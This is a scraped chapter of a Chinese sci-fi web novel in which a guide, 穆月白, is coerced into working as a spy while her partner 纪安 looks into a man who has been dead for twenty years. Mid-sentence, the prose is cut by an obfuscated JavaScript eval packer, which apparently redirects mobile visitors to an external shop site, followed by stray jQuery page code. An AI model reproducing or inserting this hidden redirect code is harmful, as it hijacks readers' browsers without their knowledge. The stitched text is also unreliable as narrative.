文趣网 > 都市小说 > 联邦第一向导 > 37. 威胁 life
    纪安想了想又把登记册中的所有名字一股脑放进系统中检索,当所有相关的基础信息传入自己的光脑的时候已经接近清晨。

    残夜将尽,一夜的潮湿凝聚成珠,滴滴嗒嗒落在青石板上,迸溅的水滴乘着一夜未关的空调冷气,在室内荡起一股凉意。

    昏昏欲睡的樊学从打盹中惊醒,揉了揉因长久不动发麻的四肢,抬头寻找纪安的身影。

    纪安依旧坐在那张转椅上,身体微微后仰,单手搭在眉毛上似在抚平整条蹙起眉毛,偶尔又回神盯着屏幕,显然正沉浸在思考中,连自己起身的嘎吱声都没有听到。

    樊学坏笑一下,猛地从背后将脑袋抵在纪安肩上,凑向屏幕,“看什么呢,这么认真?”

    纪安被这突如其来的动作一惊,身子抖了抖,从凝滞的状态缓了过来,他没说话,只是将屏幕中的文字放大。

    “什么嘛,黑户而已。”

    得天独厚的地理和历史优势,让离星在联邦边缘人的心选定居地中占据重要的席位,这样的边缘人在离星系统中往往只有碎片化的记录,更有隐蔽的连名字都无,称之为“黑户”。

    一个黑户而已,不值得樊学多花心思,他无所事事地坐回转椅中,打开光脑,一看时间刚过五点,哀嚎一声继续趴在桌子上睡觉。

    纪安依旧一动未动,偏头在思索着什么,右手有一搭没一搭地轻敲着桌面,面前电脑正在刷刷运行着,屏幕泛起的绿光冷冷聚在他眼底,似一层厚厚的坚冰,看不清他所思所想。

    屏幕左边的搜索框被放大又缩小,大咧咧地展示着邬之春三字。

    此人正是诊所在离星官方登记的老板名字,也是穆月白的老板。

    黑户无甚奇怪,诡异的是,这个名字属于一个早已死在二十年前的人。

    而此刻这名字的主人已经离开窄巷,一路西行,脑子里不断重复回放之前的谈话。

    昨夜家中。

    低头摆弄茶几的邬老板听到身后一深一浅两道脚步声,悠悠转过身,依旧是一副平淡口吻,“请坐。”

    语毕,身后手枪又往衣料中前进了一寸,右手也被死死把控着。

    好女不吃眼前亏。

    穆月白依言坐下,转身寻椅子的间隙,悄悄跳转眼珠,清晰看见身后女人强悍的肌肉和丝丝若有若无的精神波动。

    向导还是哨兵?

    她无从得知,既非出自纪安所给的那份名单,也不在联邦与白塔公开名单之列,不过并不影响局势,因为邬老板身旁的两名男性战士鼓囊囊的肌肉和毫无波动的精神力昭示着他们普通人的身份。

    完全处于劣势。

    穆月白尽力弓身,左手垂于夜色中,仍旧试图发出求救消息,面上还是一派平静之色,“老板大驾光临,请问有什么事?”

    邬老板瞧见她还算镇定的外表,意外地挑了挑眉毛,不答她的问题,只自顾自说起第一次初遇的事。

    “白医生或者说,穆医生不知你是否记得,我们第一次初遇时的情景。”

    穆月白当然不会忘记,那个坑了她30个星币的劣质测试仪。

    “我第一次见你,你就泄露出了精神波动,让我对你的身份起疑,派人前去调查。在医学院苦熬日子的你毕业后却没有走医学的路子,而是跑到罐头店打零工。”

    哦,还有那个杀千刀的专业导师。

    “一个A级向导居然真的接收邀请去诊所打工,一来就是一个月,不过你一直谨小慎微,没有任何打探的行为,就在我要相信你只是个普通的突然觉醒的向导时。”

    “一个行迹让你暴露了自己。”

    “哇,什么?”

    穆月白满头黑线,好心地接上他无聊的侦探游戏,此刻若不是她被挟制在椅中,她真想拍案而起,给邬老板热烈鼓掌,好让他能继续叨叨,拖延时间。

    “你别在腰间的激光枪变了,那是最新的武器,决计不是一个普通向导能拥有的。”

    “......”差点把那个不请自来的纪安忘了。

    穆月白脑中正在细数她过往生活中的小人们,愤怒一时压过忐忑,眼角眉梢也鲜活几分。

    而邬老板看清穆月白几度变幻的神色,讶异为何她一点慌张也没有,反倒流露出些许不耐烦和愤愤之色,索性挑明来意,

    “我并不在意你背后的组织是谁,有何目的,今天冒昧拜访是来谈合作的。”

    穆月白一愣,默了默,没有说好也没有说不好。

    已经在联邦生活了月余,她对向导的身份已经有了更加深入的了解,向导无非就两种:璀璨夺目如娜塔莎,阴沟里的老鼠如他们。

    自己和邬老板不过是小耗子和大耗子的区别罢了。

    什么合作?无非是耗子开会。得不偿失,不干不干。

    穆月白缄默不言的态度令邬老板拧了拧眉,平淡无奇的一张脸微微皱起,劝道,“你是个聪明的孩子,很多蛛丝马迹想来也摸索到一些。”

    “诊所日后不需再去了,云顶汇有一家营养液店,是我们其中一个据点,我需要你去那里工作。”

    疑问的话还未出口,邬老板已经提前预料到,不紧不慢地说了起来。

    “向导不像表面那般光鲜亮丽,看似自由高贵,不过是被白塔紧紧攥在手里的玻璃珠,指哪弹哪。”

    “最近离星太闹腾,我需要一个全新的人、不知底细的人。”

    穆月白听懂了,这是要她去当卧底啊,当间谍不会有好下场,这是亘古不变的道理。

    她眉毛蹙起,拒绝的话已经到了嘴边。

    “你不用急着答复,罐头店老板、门外那只大狗我们已经打点过,听说你最近还有一个新租客。”

    “所有庇护都有代价,你是聪明孩子不会不懂。”

    穆月白攥紧的拳头松了又紧,还是脱力般松开,半个手掌红了又白,终究是缓缓吐出一个字,

    “好。”

    “三日内,给我答复。”说罢不再多言,邬老板忽略穆月白惨白的神色,从沙发上起身,毫不留恋地同三位战士离开,只留下一室的寂静。

    穆月白慢慢走到卫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947931|210933||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    生间,机械地脱衣服,打开水龙头,洗头,洗澡。

    从前舒适温暖的水此刻只让她觉得陌生,水流从头顶喷洒而出,如瀑般坠向脸庞,让五官无处遁形。

    水温太热、浴室太小、水汽太过浓重,将她的脸也蒸腾得红肿一片。

    而窗外不知何时又下起了雨,雷电交加,噼里啪啦将黑夜照得煞白又猛地熄灭,暴雨如注与室内规律的水流声交相呼应,将一切隐秘的、压抑的泣声都掩藏其中。

    纪安整理好所有信息,再三感谢了老同学樊学并答应了下次请他到落日餐厅大吃一顿,终于从治安局脱身。

    出门第一件事,他立刻打开光脑想查询有关邬之春的消息。

    屏幕刚一亮起信息便如同雪片般飞入他的光脑中,他率先打开来自穆月白的消息,发现只是几串奇怪的乱码。

    纪安心道不妙,这只光脑是独供两人联系用,几乎不存在误触的情况,他立刻回拨过去电话,叮铃铃响了很久也无人接听。

    纪安心急如焚往家的方向赶去,又恰逢暴雨,不得不一头扎进雨中,奔驰在其中。

    雨帘从刚推开的门缝中溜进室内,只见穆月白徐徐从浴室中走出,穿着宽松的棉质睡衣,沉静恬雅,除了眼睛略微有些红肿外,并无大碍。

    但纪安直觉少了点什么,此刻的她更像在外时的状态,少了一分活力,多一丝冷漠。

    纪安三步化作两步上前,想要仔细询问乱码的由来,却见穆月白谨慎地向后退了一步。

    纪安顿住,终于察觉出气氛的不对,但又无法具体说出个所以然,于是他直截了当道:“发生什么事了?乱码是?刚才光脑被屏蔽了,清早时分才恢复正常通讯,所以没能及时回复你的消息。”

    “哦,这样啊,”穆月白勉强牵起嘴角,笑容显得有几分古怪,“没什么,发错了。查了大半夜也累了吧,快去洗漱休息吧。”

    说完也不看纪安反应,径直回到房间,门被不轻不重地合上,声音在寂静的夜里却显得十分刺耳。

    纪安愣在原地半晌,不明白这是怎么了,抬脚往穆月白卧室走,轻轻敲响房门也只得到无事的回答。

    *

    暴雨夜里,雨线连成一片,将喧闹与静谧隔绝。

    于青清正独自一人蜷缩在沙发中,借着窗外的森然气氛,观看着联邦最近叫好的一部恐怖片。

    屏幕中,女主角正被鬼怪一步一步引诱入陷阱,千钧一发之际,忽而咚咚咚的叩门声传来,打断了女主的抉择。

    于青清吓得浑身一激灵,忙不迭按下暂停,腿软着打开全屋灯光,颤颤巍巍朝房门走去。

    透过猫眼,于青清看到一张熟悉的俊朗面孔,他宽阔的脊背缩在窄小的雨衣里,浑身被雨水淋个透,看上去好不可怜。

    “伞......躲雨......”

    于青清看他口型只是临时落脚避雨,犹豫一下还是打开房门,邀请他入内,随后转身热心地在屋里找起干净毛巾。

    “砰”的一声大门被合上,将一切声音都拦截在外。